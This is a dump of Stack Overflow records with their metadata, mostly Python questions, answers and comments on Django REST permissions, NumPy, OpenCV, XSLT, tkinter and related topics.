has comment: http://stackoverflow.com/comment/81536811
has body: Let's assume that I have such URL users/{id}/objects and I am authenticated as a User with ID equals 1. At the moment I can access objects of users with ID equals 2, 3 etc. Does anyone have an idea how can I prevent this? class UserObject(GenericAPIView): permission_classes = [UserPermission] def get(self, request, user_id): try: object = Object.objects.filter(user=user_id) except Object.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) serializer = ObjectSerializer(object, many=True) return Response(serializer.data) class UserPermission(permissions.BasePermission): def has_permission(self, request, view): if request.user and request.user.is_authenticated(): return True return False I tried in this way: serializer_class = ObjectSerializer permission_classes = [IsAuthenticated, ] def get_queryset(self): return Object.objects.filter(owner=self.request.user) def get(self, request, user_id): try: object = Object.objects.filter(user=user_id) except Object.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) serializer = ObjectSerializer(object, many=True) return Response(serializer.data)
downvote count: 0
tagged with: django
tagged with: django-rest-framework
has comment: http://stackoverflow.com/comment/81537071
has comment: http://stackoverflow.com/comment/81537124
has comment: http://stackoverflow.com/comment/81536930
has comment: http://stackoverflow.com/comment/81537248
has comment: http://stackoverflow.com/comment/81538405
favorite count: 0

http://stackoverflow.com/comment/81439641
score: 0
comment on: http://stackoverflow.com/q/47244596
type: Comment
type: QuestionComment
has text: Always choose the shortest substring. If two substrings of the same length are available whose difference is the max difference, choose the leftmost substring.

http://stackoverflow.com/comment/110581393
score: 0
has text: Thank you. Could you include this useful information in the answer for future reference @dagnelies? because this is really the important part.
type: AnswerComment
comment on: http://stackoverflow.com/a/62495484
type: Comment

http://stackoverflow.com/comment/81634762
comment on: http://stackoverflow.com/q/47341170
has text: `for _ in range(5)`
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47341916
upvote count: 2
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47341863
has body: The last concatenation should be a singleton tuple, not an item in the tuple - a string. Also, an equality check is sufficient for matching the item in the tuple with the parameter, you don't need is here: def filter_sequence(seq, item): if not seq: return () elif item == seq[0]: return filter_sequence(seq[1:], item) else: return (seq[0],) + filter_sequence(seq[1:], item) # ^^^^^^^^^ Note: The is check may work for smaller strings as those in your code due to some CPython optimization (string interning), but will definitely not work for large strings and is not guaranteed to work the same way across Python implementations. Therefore, use ==.
type: Answer

http://stackoverflow.com/comment/81706413
type: AnswerComment
comment on: http://stackoverflow.com/a/47375829
score: 0
has text: Slight error: the actual data is a bytes object, which makes things slightly slower, even if bytes is specified as parameter type. To get the Cython HTML report, have a look here: https://stackoverflow.com/questions/11058933/
type: Comment

http://stackoverflow.com/comment/81456844
type: QuestionComment
has text: Just how many GB is your file? Is it really a **Minimal, Complete, Verifiable** example?
score: 0
comment on: http://stackoverflow.com/q/47252582
type: Comment

http://stackoverflow.com/q/47370224
has comment: http://stackoverflow.com/comment/81694804
tagged with: opencv
score: 0
has comment: http://stackoverflow.com/comment/81697787
has title: error in video input opencv 3.3.0
tagged with: python
has comment: http://stackoverflow.com/comment/81700509
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
has body: I have installed OpenCV 3.3.0 it works fine for the images but when i try to take video input it shows folowing error VideoCapture failed OpenCV Error: Assertion failed (scn == 3 || scn == 4) in cvtColor, file /io/opencv/modules/imgproc/src/color.cpp, line 10638 Traceback (most recent call last): File “video.py”, line 18, in gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cv2.error: /io/opencv/modules/imgproc/src/color.cpp:10638: error: (-215) scn == 3 || scn == 4 in function cvtColor Here is my code for same : import numpy as np import cv2 cap = cv2.VideoCapture(0) if cap.isOpened() == False: print (“VideoCapture failed”) while(True): ret, frame = cap.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cv2.imshow(‘frameq’,frame) cv2.imshow(‘frame’,gray) if cv2.waitKey(1) &amp; 0xFF == ord(‘q’): break cap.release() cv2.destroyAllWindows() Your comment is awaiting moderation.
upvote count: 1
tagged with: machine-learning
downvote count: 1
has comment: http://stackoverflow.com/comment/81693052

http://stackoverflow.com/q/47297585
has answer: http://stackoverflow.com/a/47297694
has answer: http://stackoverflow.com/a/47298184
has comment: http://stackoverflow.com/comment/81546675
has answer: http://stackoverflow.com/a/50784218
possible better answer: http://stackoverflow.com/a/50784218
downvote count: 0
score: 6
tagged with: python
answer count: 6
tagged with: markov-chains
upvote count: 6
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47297746
has answer: http://stackoverflow.com/a/47298476
has comment: http://stackoverflow.com/comment/81546825
accepted answer: http://stackoverflow.com/a/47298184
linked to: http://stackoverflow.com/q/46657221
has comment: http://stackoverflow.com/comment/81546720
has answer: http://stackoverflow.com/a/49940570
has title: Building a Transition Matrix using words in Python/Numpy
has body: Im trying to build a 3x3 transition matrix with this data days=['rain', 'rain', 'rain', 'clouds', 'rain', 'sun', 'clouds', 'clouds', 'rain', 'sun', 'rain', 'rain', 'clouds', 'clouds', 'sun', 'sun', 'clouds', 'clouds', 'rain', 'clouds', 'sun', 'rain', 'rain', 'sun', 'sun', 'clouds', 'clouds', 'rain', 'rain', 'sun', 'sun', 'rain', 'rain', 'sun', 'clouds', 'clouds', 'sun', 'sun', 'clouds', 'rain', 'rain', 'rain', 'rain', 'sun', 'sun', 'sun', 'sun', 'clouds', 'sun', 'clouds', 'clouds', 'sun', 'clouds', 'rain', 'sun', 'sun', 'sun', 'clouds', 'sun', 'rain', 'sun', 'sun', 'sun', 'sun', 'clouds', 'rain', 'clouds', 'clouds', 'sun', 'sun', 'sun', 'sun', 'sun', 'sun', 'clouds', 'clouds', 'clouds', 'clouds', 'clouds', 'sun', 'rain', 'rain', 'rain', 'clouds', 'sun', 'clouds', 'clouds', 'clouds', 'rain', 'clouds', 'rain', 'sun', 'sun', 'clouds', 'sun', 'sun', 'sun', 'sun', 'sun', 'sun', 'rain'] Currently, Im doing it with some temp dictionaries and some list that calculates the probability of each weather separately. Its not a pretty solution. Can someone please guide me with a more reasonable solution to this problem? self.transitionMatrix=np.zeros((3,3)) #the columns are today sun_total_count = 0 temp_dict={'sun':0, 'clouds':0, 'rain':0} total_runs = 0 for (x, y), c in Counter(zip(data, data[1:])).items(): #if column 0 is sun if x is 'sun': #find the sum of all the numbers in this column sun_total_count += c total_runs += 1 if y is 'sun': temp_dict['sun'] = c if y is 'clouds': temp_dict['clouds'] = c if y is 'rain': temp_dict['rain'] = c if total_runs is 3: self.transitionMatrix[0][0] = temp_dict['sun']/sun_total_count self.transitionMatrix[1][0] = temp_dict['clouds']/sun_total_count self.transitionMatrix[2][0] = temp_dict['rain']/sun_total_count return self.transitionMatrix for every type of weather I need to calculate the probability for the next day
favorite count: 0
type: Question
tagged with: numpy

http://stackoverflow.com/q/47241274
favorite count: 0
type: Question
has body: I'm using the data_files argument of setuptools.setup() to install config files to /etc and the users home directory. However updating the package with pip install &lt;package-name&gt; uninstalls the old version and all config files before it installs the new version. How do I keep the config files during updates if they have been changed?
tagged with: pip
tagged with: python
type: AnsweredQuestion
score: 3
upvote count: 3
has title: How to keep data_files between package updates?
tagged with: installation
downvote count: 0
tagged with: setuptools
answer count: 1
tagged with: updates
has answer: http://stackoverflow.com/a/47252287
accepted answer: http://stackoverflow.com/a/47252287

http://stackoverflow.com/a/47283339
type: Answer
answers question: http://stackoverflow.com/q/47280862
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81606310
has comment: http://stackoverflow.com/comment/81607038
has comment: http://stackoverflow.com/comment/81605246
has body: The following (XSLT 2.0) stylesheet: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xsl:template match="//dataset/tags"> <xsl:for-each select="./tag"> <xsl:variable name="tagName" select="@name" /> <xsl:result-document method="xml" href="{$tagName}.xml"> <xsl:copy-of select="/dataset/name"/> <xsl:copy-of select="/dataset/comment"/> <xsl:copy-of select="/dataset/tags/tag[./@name = $tagName]"/> <xsl:for-each select="/dataset/images/image[./box/label/text() = $tagName]"> <xsl:copy-of select="./@file"/> <xsl:copy-of select="./box[./label[./text() = $tagName]]"/> </xsl:for-each> </xsl:result-document> </xsl:for-each> </xsl:template> </xsl:stylesheet> When applied to your input produces the following results: Perimeter-SVT.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="Perimeter-SVT" color="#f9e99c"/> Perimeter-SVT Perimeter-Vivon.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="Perimeter-Vivon" color="#032585"/> Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon ScoreBoard-Vivon.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="ScoreBoard-Vivon" color="#bf5786"/> ScoreBoard-Vivon ScoreBoard-Vivon Perimeter-StarSports.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="Perimeter-StarSports" color="#12dadd"/> Perimeter-StarSports
has comment: http://stackoverflow.com/comment/81605666

http://stackoverflow.com/comment/81710111
has text: Welcome to Stack Overflow. Please take the [tour] and read about [ask].
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47378900
type: QuestionComment

http://stackoverflow.com/q/47363365
type: Question
has answer: http://stackoverflow.com/a/47364060
has comment: http://stackoverflow.com/comment/83117012
type: UnansweredQuestion
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81679994
has comment: http://stackoverflow.com/comment/83136717
has body: I am not getting any solution for this we have option available for extracting whole text using Pypdf but I want to extract text line by line. Any help would be appreciated. Thanks
downvote count: 2
answer count: 1
has title: How to extract text line by line from Pdf in Python?
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81552418
type: AnswerComment
has text: @jhpratt True. This is more of an academic exercise anyway. In production code, I'd go for the longer but explicit version of the OP or make bounds a more obvious data structure.
score: 0
comment on: http://stackoverflow.com/a/47300634
type: Comment

http://stackoverflow.com/q/47336388
type: Question
score: 0
has comment: http://stackoverflow.com/comment/81625117
tagged with: pandas
has comment: http://stackoverflow.com/comment/81654399
has body: I have provided an updated solution to the following text pre-processing. I was stumbled into an issue to categorize a sentence either positive, negative or uncertain. I mean, I was not able to create a tuple that Naive Bayes requires for classification and prediction. My updated solution below provides not so efficient but easier way. I am doing a text preprocessing for Naive Bayes Classifier//Sentiment. I have pandas data frame of data I generated risk uncertain somewhere cautious assumptions somewhat random I want to compare that list to for an example text "The market is uncertain. There is volatility. Investors need to be cautious. It is not just a random walk phenomena." What I want to do is: From the list above compare find if the word exists in the text below and result like "Text", "Label" "The market is uncertain." "uncertain" "There is volatility.", "negative" etc any thoughts? UPDATE: TEST SOLUTION TO CATEGORIZE text = "It was the best article. In fact we have assume. Ints the fact's and worse?. presume. pending" from nltk.tokenize import word_tokenize, sent_tokenize word_tokenize_list = word_tokenize(text) sent_tokenize_list=sent_tokenize(text) for sentIndex, sentence in enumerate(sent_tokenize_list): word_tokenize_list = word_tokenize(sentence) for wordIndex, word in enumerate(word_tokenize_list): for j in negativeList(): if j ==word: negativeSentence= sentence print "neg", negativeSentence break for j in postiveList(): if j ==word: positiveSentence= sentence print "posi", positiveSentence break for j in uncerList(): if j ==word: uncertainSentence= sentence print "uncer",uncertainSentence break uncerList(), postiveList() and negativeList() are just a list of the words that I classify and positive, negative and uncertain. I did not use the text blob I used to ask the question above. But that worked for me as well!
tagged with: python
answer count: 0
type: UnansweredQuestion
has title: read from pandas dataframe, find a text in other file and label it
tagged with: text-mining

http://stackoverflow.com/comment/81419768
type: Comment
type: AnswerComment
score: 0
has text: Thank you very much
comment on: http://stackoverflow.com/a/47234544

http://stackoverflow.com/q/47271039
score: 1
answer count: 1
duplicate of: http://stackoverflow.com/q/14748226
downvote count: 0
has title: Matplotlib basemap: zoom into orthographic projection
upvote count: 1
has body: I'm trying to plot an area in orthographic projection in order to layer it together with an image from satellite like this one So I've tried to zoom into an orthographic projection like here Using this code: fig = plt.figure(figsize = (5,5)) map = Basemap(projection = 'ortho', lon_0 = 15, lat_0 = 68,\ resolution = 'c') lllon = 7 urlon = 21 lllat = 67 urlat = 70 xmin, ymin = map(lllon, lllat) xmax, ymax = map(urlon, urlat) ax = plt.gca() ax.set_xlim([xmin, xmax]) ax.set_ylim([ymin, ymax]) map.drawcoastlines(linewidth = .1) map.drawmeridians(np.arange(-180,180,1), linewidth = .01) map.drawparallels(np.arange(-80,80,.25), linewidth = .01) and some more to plot lines, but that results in an image that is correct in center and proportion but not cropped to the area specified, like this: Does anyone have an idea how to solve this?
tagged with: matplotlib-basemap
has comment: http://stackoverflow.com/comment/81514099
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: matplotlib
tagged with: python
linked to: http://stackoverflow.com/q/14748226
has comment: http://stackoverflow.com/comment/81516441
accepted answer: http://stackoverflow.com/a/47272464
has comment: http://stackoverflow.com/comment/81517034
has answer: http://stackoverflow.com/a/47272464

http://stackoverflow.com/q/47256342
has comment: http://stackoverflow.com/comment/81463641
accepted answer: http://stackoverflow.com/a/47256374
has title: How can I distribute the ith value in a vector along the ith row of a matrix using Numpy?
tagged with: python
type: AnsweredQuestion
tagged with: numpy
score: 0
answer count: 1
tagged with: arrays
has body: If I have a vector x = np.array([1,2,3]) and a matrix M = np.array([[3,4,5], [6,7,8], [9,10,11]]) How can I distribute the ith value in x throughout the ith row in M so that the resulting matrix is [[3,4,5], [12,14,16], [27,30,33]] ?
type: Question
has answer: http://stackoverflow.com/a/47256374
has comment: http://stackoverflow.com/comment/81463709

http://stackoverflow.com/a/47352431
type: Answer
accepted answer of: http://stackoverflow.com/q/47351788
has comment: http://stackoverflow.com/comment/81657387
answers question: http://stackoverflow.com/q/47351788
has comment: http://stackoverflow.com/comment/81657694
has body: You said "I am trying to index the items that have the same counter and delete them from the list". While that's possible, it's easier (and faster) to just build a new list that contains the chromosomes that you want to keep, unless population is huge. We first scan the selected_chromosomes to extract their counter numbers into a set so we can look them up quickly. population=[ [[0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1], [4], [0]], [[0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1], [3], [1]], [[0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0], [4], [2]], [[1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0], [1], [3]], ] selected_chromosomes=[ [[0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0], [5], [2]], [[0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1], [3], [0]], ] def population_adjustment(population, selected_chromosomes): # Create a set of the counter numbers to remove drop = {u[-1][0] for u in selected_chromosomes} # Copy the wanted chromosomes to a new list return [u for u in population if u[-1][0] not in drop] new_pop = population_adjustment(population, selected_chromosomes) for row in new_pop: print(row) output [[0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1], [3], [1]] [[1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0], [1], [3]] If the population list is huge, or you have some other reason to keep the original list (eg, there are multiple references to it in various places), here's how to delete the unwanted lists. We have to be careful, though. Removing items from a list that you're iterating over is dangerous, since removal disturbs the indices of the remaining list items, as shown here. It's a bit like cutting a tree branch that you're sitting on. If you cut in the wrong place, Bad Things happen. ;) The simplest way is to iterate over the list in reverse. population=[ [[0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1], [4], [0]], [[0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1], [3], [1]], [[0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0], [4], [2]],…
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81657149

http://stackoverflow.com/comment/81584509
type: QuestionComment
comment on: http://stackoverflow.com/q/47316688
has text: This is because `urlopen(url)` returns you static content that has been loaded without JavaScript enabled. Just try disabling Javascript for https://www.basketball-reference.com/players/b/bryanko01.html and see you wil get only one table. To get dynamic content in your html try `selenium` or similar packages to get html content.
score: 1
type: Comment

http://stackoverflow.com/q/47228622
score: 1
downvote count: 1
favorite count: 0
type: Question
has body: I have a dictionary like this: {4722: "['children', 'dance', 'education','technology', 'teaching']", 3200: "['alternative energy', 'sustainability', 'technology']", 1636: "['computers', 'performance', 'simplicity', 'software', 'ice']", 1697: "['MacArthur grant', 'inequality', 'technology', 'pollution']"} Now I want to find the word 'technology' in each row and sum the keys. Like here I should have the sum of 4722 + 3200 + 1697 . Can anyone help me please? I should mention that my original data frame has 2000 rows.
has comment: http://stackoverflow.com/comment/81436393
accepted answer: http://stackoverflow.com/a/47228658
answer count: 2
has answer: http://stackoverflow.com/a/47228686
possible better answer: http://stackoverflow.com/a/47228686
has comment: http://stackoverflow.com/comment/81407668
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81407878
has title: How to iterate over values in dictionary which each key has multiple values
upvote count: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47228658
has comment: http://stackoverflow.com/comment/81407966
has comment: http://stackoverflow.com/comment/81407741

http://stackoverflow.com/comment/81588487
has text: While `userinput` does not equal the string `"exit"`, continue to repeat.
type: Comment
comment on: http://stackoverflow.com/a/47318327
type: AnswerComment
score: 0

http://stackoverflow.com/a/47276512
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47276414
score: 2
has body: You are not making a copy of 'inputs' when you do 'temp=inputs', but making a new variable to access the same content. If you want a new copy of the list, then use 'temp = inputs[:]'. Otherwise you are just creating a new reference to the same object, but not duplicating the object itself. You can find more about this in the official Python FAQ.
type: Answer
answers question: http://stackoverflow.com/q/47276414
upvote count: 2

http://stackoverflow.com/a/59005339
has comment: http://stackoverflow.com/comment/104260998
score: 1
type: Answer
has body: np.triu(A, k=1) indices = np.where(np.triu(np.ones(A.shape), k=1).astype(bool)) print(A[x]) [2 3 6]
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47314754

http://stackoverflow.com/q/47374100
has answer: http://stackoverflow.com/a/47374133
tagged with: python
has comment: http://stackoverflow.com/comment/81701207
has comment: http://stackoverflow.com/comment/81700783
has comment: http://stackoverflow.com/comment/81701122
has comment: http://stackoverflow.com/comment/81701209
tagged with: instance-variables
tagged with: class
has body: I'm trying to break down lesson 43 of LPTHW to understand it better, and run each piece independently, and I can't understand why it is returning PS C:\Python&gt; python ex43.py Traceback (most recent call last): File "ex43.py", line 67, in &lt;module&gt; a_game.play() File "ex43.py", line 17, in play self.scene_map.opening_scene.enter() AttributeError: 'function' object has no attribute 'enter' I'm trying to make it run just the first scene of my code, and just end up printing 'You've entered the central corridor' so that I can understand how each function is being called. from sys import exit from random import randint class Scene(object): def enter(self): print "This scene is not yet configured. Subclass it and implement enter()." exit(1) class Engine(object): def __init__(self, scene_map): self.scene_map = scene_map def play(self): self.scene_map.opening_scene.enter() class Death(Scene): def enter(self): pass class CentralCorridor(Scene): def enter(self): print "You've entered the central corridor." class LaserWeaponArmory(Scene): def enter(self): pass class TheBridge(Scene): def enter(self): pass class EscapePod(Scene): def enter(self): pass class Map(object): scenes = { 'central_corridor': CentralCorridor(), 'laser_weapon_armory': LaserWeaponArmory(), 'the_bridge': TheBridge(), 'escape_pod': EscapePod() } def __init__(self, start_scene): self.start_scene = start_scene def next_scene(self, scene_name): val = Map.scenes.get(scene_name) return val def opening_scene(self): return self.scene_map.opening_scene.enter(self.start_scene) a_map = Map('central_corridor') a_game = Engine(a_map) a_game.play() When run it gives the error above. I guess I'm having trouble seeing how 'play' is starting the 'opening_scene'
tagged with: python-2.7
answer count: 2
tagged with: instance
has comment: http://stackoverflow.com/comment/81701147
has title: LPTHW 43: function object has no attribute 'enter'
has comment: http://stackoverflow.com/comment/81701391
type: UnansweredQuestion
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81701173
has answer: http://stackoverflow.com/a/47374683
has comment: http://stackoverflow.com/comment/81701218

http://stackoverflow.com/q/47364563
tagged with: imagefield
answer count: 1
tagged with: django
type: Question
accepted answer: http://stackoverflow.com/a/47373281
tagged with: rest
has answer: http://stackoverflow.com/a/47373281
tagged with: swagger
tagged with: python
has title: Django REST Swagger how to process response POST api (function based)
type: AnsweredQuestion
score: 0
has body: I am trying to accept a image file that has been post using my Django REST function based POST API. This is based on https://github.com/m-haziq/django-rest-swagger-docs I am getting this error screenshot (https://i.sstatic.net/JjUA5.jpg) Object of type 'TypeError' is not JSON serializable for doing this face_image = request.data.get('face_image') and whats the right step to save it to the model, would it be something like this employee.face_image = face_image Here is how I define the API @api_view(['POST']) def update_employee_image(request): # ----- YAML below for Swagger ----- """ description: This API deletes/uninstalls a device. parameters: - name: employee_id type: integer required: true location: form - name: face_image type: file required: true location: form """ employee_id = request.POST.get('employee_id') face_image = request.data.get('face_image') &lt;--- this causes the error Here is the model with the imagefield class Employee(models.Model): .... face_image = models.ImageField(upload_to='face_image/', blank=True) Can someone let me know the right way to do this ? process the image from the post and save it to the model. My full source code is in the those links. Thanks.

http://stackoverflow.com/a/62665367
has body: Here is a PySide2 example with a native look and feels: from PySide2.QtWidgets import * from PySide2.QtCore import * from PySide2.QtGui import * import sys class RangeSlider(QWidget): def __init__(self, parent=None): super().__init__(parent) self.first_position = 1 self.second_position = 8 self.opt = QStyleOptionSlider() self.opt.minimum = 0 self.opt.maximum = 10 self.setTickPosition(QSlider.TicksAbove) self.setTickInterval(1) self.setSizePolicy( QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed, QSizePolicy.Slider) ) def setRangeLimit(self, minimum: int, maximum: int): self.opt.minimum = minimum self.opt.maximum = maximum def setRange(self, start: int, end: int): self.first_position = start self.second_position = end def getRange(self): return (self.first_position, self.second_position) def setTickPosition(self, position: QSlider.TickPosition): self.opt.tickPosition = position def setTickInterval(self, ti: int): self.opt.tickInterval = ti def paintEvent(self, event: QPaintEvent): painter = QPainter(self) # Draw rule self.opt.initFrom(self) self.opt.rect = self.rect() self.opt.sliderPosition = 0 self.opt.subControls = QStyle.SC_SliderGroove | QStyle.SC_SliderTickmarks # Draw GROOVE self.style().drawComplexControl(QStyle.CC_Slider, self.opt, painter) # Draw INTERVAL color = self.palette().color(QPalette.Highlight) color.setAlpha(160) painter.setBrush(QBrush(color)) painter.setPen(Qt.NoPen) self.opt.sliderPosition = self.first_position x_left_handle = ( self.style() .subControlRect(QStyle.CC_Slider, self.opt, QStyle.SC_SliderHandle) .right() ) self.opt.sliderPosition = self.second_position x_right_handle = ( self.style() .subControlRect(QStyle.CC_Slider, self.opt, QStyle.SC_SliderHandle) .left() ) groove_rect = self.style().subControlRect( QStyle.CC_Slider, self.opt, QStyle.SC_SliderGroove ) selection = QRect( x_left_handle, groove_rect.y(), x_right_handle - x_left_handle, groove_rect.height(), ).adjusted(-1, 1, 1, -1) painter.drawRect(selection) # Draw first handl…
has comment: http://stackoverflow.com/comment/113384136
answers question: http://stackoverflow.com/q/47342158
type: Answer
has comment: http://stackoverflow.com/comment/113384347
downvote count: 0
upvote count: 7
score: 7

http://stackoverflow.com/a/47280989
has body: You did not specifiy what exactly you whant to use so i recommend lxml for python. For getting the values you whant you have more possibiltys: With a loop: from lxml import etree tree = etree.parse('XmlTest.xml') root = tree.getroot() text = [] for element in root: text.append(element.get('D',None)) for child in element: for grandchild in child: text.append(grandchild.text) print(text) Output: ['14/11/2017', 'The quick', 'brown', 'fox', '14/11/2017', 'The lazy', 'fox'] With xpath: from lxml import etree tree = etree.parse('XmlTest.xml') root = tree.getroot() D = root.xpath("./H") F = root.xpath(".//F") for each in D: print(each.get('D',None)) for each in F: print(each.text) Output: 14/11/2017 14/11/2017 The quick brown fox The lazy fox Both have there own advantages but give you a good starting point. I recommend the xpath since it gives you more freedom when values are missing.
answers question: http://stackoverflow.com/q/47280129
type: Answer
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/81447117
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47248451
type: Comment
has text: thank you. how can I read it from file and then print like this? `dar = open("d:\mass.txt", "r") cont = dar.read() print(cont) def histogram (list): for i in list: print('*' * int(i)) histogram(cont)`

http://stackoverflow.com/comment/81524729
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47284570
has text: On Windows, `os.access` only checks the read-only attribute -- not security or I/O sharing, so other than read-only files, it's not helping to avoid `PermissionError` exceptions (i.e. `ERROR_ACCESS_DENIED` and `ERROR_SHARING_VIOLATION`). Just try to open the file in a try/except block, and ignore `PermissionError`.
score: 0

http://stackoverflow.com/a/47331813
type: Answer
answers question: http://stackoverflow.com/q/47331709
has body: I think all you need to do is: list_of_tuples = [(1,2),(4,5),(5,6)] with open("out.txt") as new_file: new_file.write("\n".join( str(tuple) for tuple in list_of_tuples)
score: 0

http://stackoverflow.com/q/47240847
tagged with: auto-update
has comment: http://stackoverflow.com/comment/81439300
has comment: http://stackoverflow.com/comment/81441811
has comment: http://stackoverflow.com/comment/81435120
answer count: 1
linked to: http://stackoverflow.com/q/45775947
accepted answer: http://stackoverflow.com/a/47245894
has body: As title mentions, I'm trying to update the values in my labels in a tkinter gui. The values are taken from OpenWeatherMap API using pyown and at my subscription level, I can only make 60 calls/minute. Since I plan to make many calls, I would like to have my gui update every minute or 5-minutes. I've spent the last few days reading the similar questions and I have figured out that I need the sleep function to delay the update. Some have suggested that I put what I want to repeat in a while True infinite loop, but wheN I tried that, the gui only updated when I closed out the window, and I was unable to control the time in between updates. Others have suggested that I use the .after function, but when I do this, my program compiles but the gui never pops up. I'm looking for someone to show me how either of these solutions work in my code specifically, or if there is a third solution that lends itself better to my code that would be better, please let me see how it would look, because I am stumped. import tkinter as tk import pyowm from datetime import datetime, timedelta class WeatherInfo(tk.Tk): def __init__(self): tk.Tk.__init__(self) self.wm_title('Forecast') self.currentTime = tk.StringVar(self, value='') self.d2temp_7 = tk.StringVar(self,value='') self.owm = pyowm.OWM('*INSERT YOUR OWM KEY HERE*') self.headLabel = tk.Label(self, text='5-Day Forecast of Cayce, US.') self.headLabel.pack() self.footLabel = tk.Label(self, textvariable=self.currentTime) self.footLabel.pack(side=tk.BOTTOM) self.day2Frame = tk.LabelFrame(self, text='D2') self.day2Frame.pack(fill='both', expand='yes', side=tk.LEFT) tk.Label(self.day2Frame, text="Temperature:").pack() tk.Label(self.day2Frame, textvariable=self.d2temp_7).pack() self.search() def search(self): fc = self.owm.three_hours_forecast_at_id(4573888) try: self.currentTime.set(datetime.today()) self.d2temp_7.set("7am: " + str(fc.get_weather_at((datetime.today().replace(hour=13, minute=00) + timedelta(days=1)) .strftime ('%Y-%m-%d %H…
type: Question
tagged with: tkinter
has answer: http://stackoverflow.com/a/47245894
linked to: http://stackoverflow.com/q/2603169
linked to: http://stackoverflow.com/q/11502879
tagged with: datetime
linked to: http://stackoverflow.com/q/354883
tagged with: python
has title: How to update text-variables in a GUI using pyown and tkinter
tagged with: openweathermap
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47291568
has comment: http://stackoverflow.com/comment/81538136
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47291132
has comment: http://stackoverflow.com/comment/81537873
score: 2
has comment: http://stackoverflow.com/comment/81541761
type: Answer
has body: This is an incompatibility between older versions of Pandas and newer versions of NumPy (Reported in this issue) If you update pandas to a more recent version, the problem should be fixed.
answers question: http://stackoverflow.com/q/47291132

http://stackoverflow.com/comment/81583922
has text: Try `np.isclose()`.
type: Comment
comment on: http://stackoverflow.com/q/47316515
score: 1
type: QuestionComment

http://stackoverflow.com/comment/81620059
comment on: http://stackoverflow.com/q/47332282
score: 0
type: Comment
type: QuestionComment
has text: `brew install opencv3 --with-python3`

http://stackoverflow.com/comment/81589659
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47319245
has text: Please include your code. Is there any chance of there being nested brackets, and, if so, can you show us an example of this?

http://stackoverflow.com/a/47300262
answers question: http://stackoverflow.com/q/47299243
has body: TLDR: your __getattr__ is called before choice_data has been added to the instance dictionary which causes it to endlessly recurse. A better way to address the problem is to immediately raise AttributeError for any attributes beginning with __ to catch any other special or internal attributes. This happens because when an object is copied the __init__ method is not called. Rather, a new, empty object is created. This new object has an empty __dict__. Python's pickle protocol (which is also used for the copy module) has a hook __setstate__ that allows customization of applying a state (normally just the contents for __dict__ but, e.g. if __getstate__ is provided, it can be any object). To see if that hook is present hasattr(newobj, '__setstate__') is called which, since there isn't any __setstate__ in the MRO nor in the __dict__ causes your __getattr__ to be called. Your __getattr__ then tries to access self.choice_data but, as we've noted earlier the __dict__ is currently empty. This causes the __getattr__ method to be invoked again to get the choice_data attribute which starts the infinite recursion. Special casing __setstate__ stops the recursion from being triggered by bailing out early for the lookup of __setstate__. When that fails, the default mechanism for copying takes effect which initializes the new object's __dict__ from the state. In my mind special casing only __setstate__ is not the best solution. I think it is best to immediately raise AttributeError for any special or internal attributes, i.e. the ones that begin with __, since that prevents other strange situations from occurring. Another possibility is to avoid using attribute lookup within __getattr__ by writing self.__dict__['choice_data'] or object.__getattribute__(self, 'choice_data'). You can also ensure that choice_data will be present by implementing __new__ and assigning it to the object there.
score: 10
upvote count: 10
type: Answer
downvote count: 0

http://stackoverflow.com/a/47253352
has comment: http://stackoverflow.com/comment/81462473
has comment: http://stackoverflow.com/comment/81468304
type: AcceptedAnswer
